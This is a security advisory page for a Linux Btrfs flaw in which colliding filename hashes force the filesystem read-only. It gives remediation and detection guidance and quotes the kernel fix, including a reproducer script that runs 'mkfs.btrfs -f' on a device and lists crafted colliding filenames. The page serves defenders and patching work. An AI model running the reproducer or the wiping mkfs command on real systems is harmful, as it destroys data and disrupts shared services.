CVE-2026-43360
Medium · 5.5CVSS
5.5
EPSS
0.2%
Published
May 8, 2026
CISA due date
—
Cloudanix analysis
A regular user with write access to certain Linux filesystems can intentionally make them stop accepting changes, disrupting applications that rely on them.
- Exploitation
- Local Privilege
- Attacker needs
- Low Privilege
- Complexity
- Low
- Impact
- Denial Of Service
- Component
- OS kernel
- Class
- Denial of service
- Remediation
- Upgrade
- Effort
- Medium
- Patch risk
- Low
What it actually does
This is a local denial-of-service flaw in the Linux kernel Btrfs filesystem. A low-privileged local user who can create files on a writable Btrfs filesystem can intentionally create many filenames that collide in Btrfs directory item hashing. When enough colliding names are packed into the same directory item, an internal leaf-size limit can be exceeded. Instead of handling the condition safely, vulnerable kernels may abort the active Btrfs transaction and force the filesystem into read-only mode. The issue does not provide code execution, privilege escalation, or direct data disclosure, but it can disrupt availability for any workloads depending on the affected filesystem.
Why it matters to the business
Systems using writable Btrfs volumes can be disrupted by an unprivileged local account, containerized workload, build job, or application user with file-create permissions. The primary business risk is service interruption: applications may fail to write data, package managers and logging may break, databases or stateful services may degrade or stop, and manual recovery may be required to remount or repair the filesystem. The CVSS availability impact is high, but exploitation requires local access and current public exploitation signals are low: EPSS is 0.00163, it is not listed in CISA KEV, and no ransomware use is indicated.
How an attack unfolds
An attacker first needs local access to a Linux system or workload that can write to a Btrfs-mounted filesystem. They identify or create a directory on that filesystem where they have permission to create files. The attacker then creates a set of specially chosen filenames that produce the same Btrfs directory hash. As the number of colliding entries grows, Btrfs attempts to store them in the same directory item. Once the item exceeds the filesystem leaf-size constraints, the vulnerable kernel mishandles the condition and aborts the filesystem transaction. Btrfs then protects consistency by switching the filesystem to read-only mode. From the attacker’s perspective, the result is a denial of service: writes to the affected filesystem fail until administrators intervene and the system is patched or rebooted/remounted as appropriate.
How to fix it
Upgrade the Linux kernel to a vendor release that includes the Btrfs fix for transaction aborts caused by directory name-hash collisions. No exact fixed upstream or distribution package versions were provided in the input, so use the security advisory from the relevant Linux distribution or kernel supplier and verify that the patch for this issue is included. Prioritize systems where untrusted users, CI jobs, containers, shared hosting workloads, or applications can create arbitrary filenames on Btrfs volumes. Where immediate patching is not possible, reduce exposure by restricting local shell access, limiting write access to Btrfs filesystems, isolating untrusted workloads away from Btrfs-backed writable paths, enforcing quotas where appropriate, and monitoring for abnormal file-creation bursts or Btrfs read-only remount events. Recovery after exploitation may require stopping affected services, preserving logs for investigation, remounting or rebooting, and running normal Btrfs health checks according to vendor guidance.
How to confirm the fix worked
Confirm exposure by inventorying Linux systems that use Btrfs for writable filesystems and checking their running kernel versions against distribution security advisories. Use commands such as `findmnt -t btrfs`, `mount | grep btrfs`, `uname -r`, and package-manager queries to identify affected systems. Validate remediation by confirming the running kernel is the patched version after reboot, not merely that an updated package is installed. Review `dmesg`, `journalctl -k`, and system logs for Btrfs transaction abort or forced read-only messages. In non-production test environments only, regression testing can verify that creating colliding filenames no longer causes a transaction abort or read-only remount.
Typical attack path
- Gain local shell, application-level file-write capability, or workload execution on a Linux system using Btrfs.
- Locate a writable directory on a Btrfs filesystem.
- Create many files with deliberately selected names that collide under Btrfs directory hashing.
- Trigger the Btrfs directory item packing limit during file creation.
- Cause the kernel to abort the Btrfs transaction.
- Filesystem is forced read-only, causing writes and dependent services to fail.
How to detect it
Look for evidence that a writable Btrfs filesystem unexpectedly switched to read-only mode after file-creation activity. Primary sources are kernel logs (`dmesg`, `journalctl -k`, `/var/log/kern.log`, `/var/log/messages`, `/var/log/syslog`), audit logs if file creation auditing is enabled, EDR file telemetry, and service logs showing sudden `read-only file system` or write failures. Hunt for clusters of unusual file creations in a single directory, especially many long or high-entropy filenames created by the same low-privileged user or workload immediately before Btrfs errors. Correlate Btrfs transaction abort messages with process execution, shell history, auditd `creat/openat` events, container logs, CI job logs, and user session records. Because the vulnerability does not require network traffic and does not leave a unique exploit binary, detection is behavioral: transaction aborts, forced read-only remounts, and abnormal filename-collision creation patterns are the strongest indicators.
- BTRFS: Transaction aborted
- BTRFS: forced readonly
- BTRFS: error (device
- Remounting filesystem read-only
- readonly filesystem
- read-only file system
- transaction aborted
- btrfs: transaction abort
- mkfs.btrfs -f --nodesize 4K
- exploit-hash-collisions.sh
- foobar
- %a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC
- AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0I_l5Fnam04CGIg=8@U:Z
What your security team should do
- Inventory all Linux systems using writable Btrfs filesystems, especially shared systems, developer workstations, CI runners, container hosts, and multi-user servers.
- Patch affected kernels through the appropriate distribution or vendor channel and reboot into the fixed kernel.
- Prioritize systems where low-privileged or untrusted users can create arbitrary filenames on Btrfs volumes.
- Add monitoring for Btrfs transaction aborts, forced read-only remounts, and sudden write failures on Btrfs-backed services.
- Review local access controls and workload isolation to reduce opportunities for untrusted users or containers to write directly to shared Btrfs paths.
- If read-only remount events occurred, preserve kernel logs and audit data before remediation, then assess service impact and filesystem health.
- Do not treat low EPSS or non-KEV status as a reason to ignore patching on multi-user Btrfs systems, because exploitation is simple once local write access exists.
The record
In the Linux kernel, the following vulnerability has been resolved: btrfs: fix transaction abort on file creation due to name hash collision If we attempt to create several files with names that result in the same hash, we have to pack them in same dir item and that has a limit inherent to the leaf size. However if we reach that limit, we trigger a transaction abort and turns the filesystem into RO mode. This allows for a malicious user to disrupt a system, without the need to have administration privileges/capabilities. Reproducer: $ cat exploit-hash-collisions.sh #!/bin/bash DEV=/dev/sdi MNT=/mnt/sdi # Use smallest node size to make the test faster and require fewer file # names that result in hash collision. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT # List of names that result in the same crc32c hash for btrfs. declare -a names=( 'foobar' '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC' 'AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0I_l5Fnam04CGIg=8@U:Z' 'CvVqJpJzueKcuA$wqwePfyu7VxuWNN3ho$p0zi2H8QFYK$7YlEqOhhb%:hHgjhIjW5vnqWHKNP4' 'ET:vk@rFU4tsvMB0$C_p=xQHaYZjvoF%-BTc%wkFW8yaDAPcCYoR%x$FH5O:' 'HwTon%v7SGSP4FE08jBwwiu5aot2CFKXHTeEAa@38fUcNGOWvE@Mz6WBeDH_VooaZ6AgsXPkVGwy9l@@ZbNXabUU9csiWrrOp0MWUdfi$EZ3w9GkIqtz7I_eOsByOkBOO' 'Ij%2VlFGXSuPvxJGf5UWy6O@1svxGha%b@=%wjkq:CIgE6u7eJOjmQY5qTtxE2Rjbis9@us' 'KBkjG5%9R8K9sOG8UTnAYjxLNAvBmvV5vz3IiZaPmKuLYO03-6asI9lJ_j4@6Xo$KZicaLWJ3Pv8XEwVeUPMwbHYWwbx0pYvNlGMO9F:ZhHAwyctnGy%_eujl%WPd4U2BI7qooOSr85J-C2V$LfY' 'NcRfDfuUQ2=zP8K3CCF5dFcpfiOm6mwenShsAb_F%n6GAGC7fT2JFFn:c35X-3aYwoq7jNX5$ZJ6hI3wnZs$7KgGi7wjulffhHNUxAT0fRRLF39vJ@NvaEMxsMO' 'Oj42AQAEzRoTxa5OuSKIr=A_lwGMy132v4g3Pdq1GvUG9874YseIFQ6QU' 'Ono7avN5GjC:_6dBJ_' 'WHmN2gnmaN-9dVDy4aWo:yNGFzz8qsJyJhWEWcud7$QzN2D9R0efIWWEdu5kwWr73NZm4=@CoCDxrrZnRITr-kGtU_cfW2:%2_am' 'WiFnuTEhAG9FEC6zopQmj-A-$LDQ0T3WULz%ox3UZAPybSV6v1Z$b4L_XBi4M4BMBtJZpz93r9xafpB77r:lbwvitWRyo$odnAUYlYMmU4RvgnNd--e=I5hiEjGLETTtaScWlQp8mYsBovZwM2k' 'XKyH=OsOAF3p%uziGF_ZVr$ivrvhVgD@1u%5RtrV-gl_vqAwHkK@x7YwlxX3qT6WKKQ%PR56NrUBU2dOAOAdzr2=5nJuKPM-T-$ZpQfCL7phxQbUcb:BZOTPaFExc-qK-gDRCDW2' 'd3uUR6OFEwZr%ns1XH_@tbxA@cCPmbBRLdyh7p6V45H$P2$F%w0RqrD3M0g8aGvWpoTFMiBdOTJXjD:JF7=h9a_43xBywYAP%r$SPZi%zDg%ql-KvkdUCtF9OLaQlxmd' 'ePTpbnit%hyNm@WELlpKzNZYOzOTf8EQ$sEfkMy1VOfIUu3coyvIr13-Y7Sv5v-Ivax2Go_GQRFMU1b3362nktT9WOJf3SpT%z8sZmM3gvYQBDgmKI%%RM-G7hyrhgYflOw%z::ZRcv5O:lDCFm' 'evqk743Y@dvZAiG5J05L_ROFV@$2%rVWJ2%3nxV72-W7$e$-SK3tuSHA2mBt$qloC5jwNx33GmQUjD%akhBPu=VJ5g$xhlZiaFtTrjeeM5x7dt4cHpX0cZkmfImndYzGmvwQG:$euFYmXn$_2rA9mKZ' 'gkgUtnihWXsZQTEkrMAWIxir09k3t7jk_IK25t1:cy1XWN0GGqC%FrySdcmU7M8MuPO_ppkLw3=Dfr0UuBAL4%GFk2$Ma10V1jDRGJje%Xx9EV2ERaWKtjpwiZwh0gCSJsj5UL7CR8RtW5opCVFKGGy8Cky' 'hNgsG_8lNRik3PvphqPm0yEH3P%%fYG:kQLY=6O-61Wa6nrV_WVGR6TLB09vHOv%g4VQRP8Gzx7VXUY1qvZyS' 'isA7JVzN12xCxVPJZ_qoLm-pTBuhjjHMvV7o=F:EaClfYNyFGlsfw-Kf%uxdqW-kwk1sPl2vhbjyHU1A6$hz' 'kiJ_fgcdZFDiOptjgH5PN9-PSyLO4fbk_:u5_2tz35lV_iXiJ6cx7pwjTtKy-XGaQ5IefmpJ4N_ZqGsqCsKuqOOBgf9LkUdffHet@Wu' 'lvwtxyhE9:%Q3UxeHiViUyNzJsy:fm38pg_b6s25JvdhOAT=1s0$pG25x=LZ2rlHTszj=gN6M4zHZYr_qrB49i=pA--@WqWLIuX7o1S_SfS@2FSiUZN' 'rC24cw3UBDZ=5qJBUMs9e$=S4Y94ni%Z8639vnrGp=0Hv4z3dNFL0fBLmQ40=EYIY:Z=SLc@QLMSt2zsss2ZXrP7j4=' 'uwGl2s-fFrf@GqS=DQqq2I0LJSsOmM%xzTjS:lzXguE3wChdMoHYtLRKPvfaPOZF2fER@j53evbKa7R%A7r4%YEkD=kicJe@SFiGtXHbKe4gCgPAYbnVn' 'UG37U6KKua2bgc:IHzRs7BnB6FD:2Mt5Cc5NdlsW%$1tyvnfz7S27FvNkroXwAW:mBZLA1@qa9WnDbHCDmQmfPMC9z-Eq6QT0jhhPpqyymaD:R02ghwYo%yx7SAaaq-:x33LYpei$5g8DMl3C' 'y2vjek0FE1PDJC0qpfnN:x8k2wCFZ9xiUF2ege=JnP98R%wxjKkdfEiLWvQzmnW' '8-HCSgH5B%K7P8_jaVtQhBXpBk:pE-$P7ts58U0J@iR9YZntMPl7j$s62yAJO@_9eanFPS54b=UTw$94C-t=HLxT8n6o9P=QnIxq-f1=Ne2dvhe6WbjEQtc' 'YPPh:IFt2mtR6XWSmjHptXL_hbSYu8bMw-JP8@PNyaFkdNFsk$M=xfL6LDKCDM-mSyGA_2MBwZ8Dr4=R1D%7-mC ---truncated---
Affected packages
| Ecosystem | Package | Introduced | Fixed |
|---|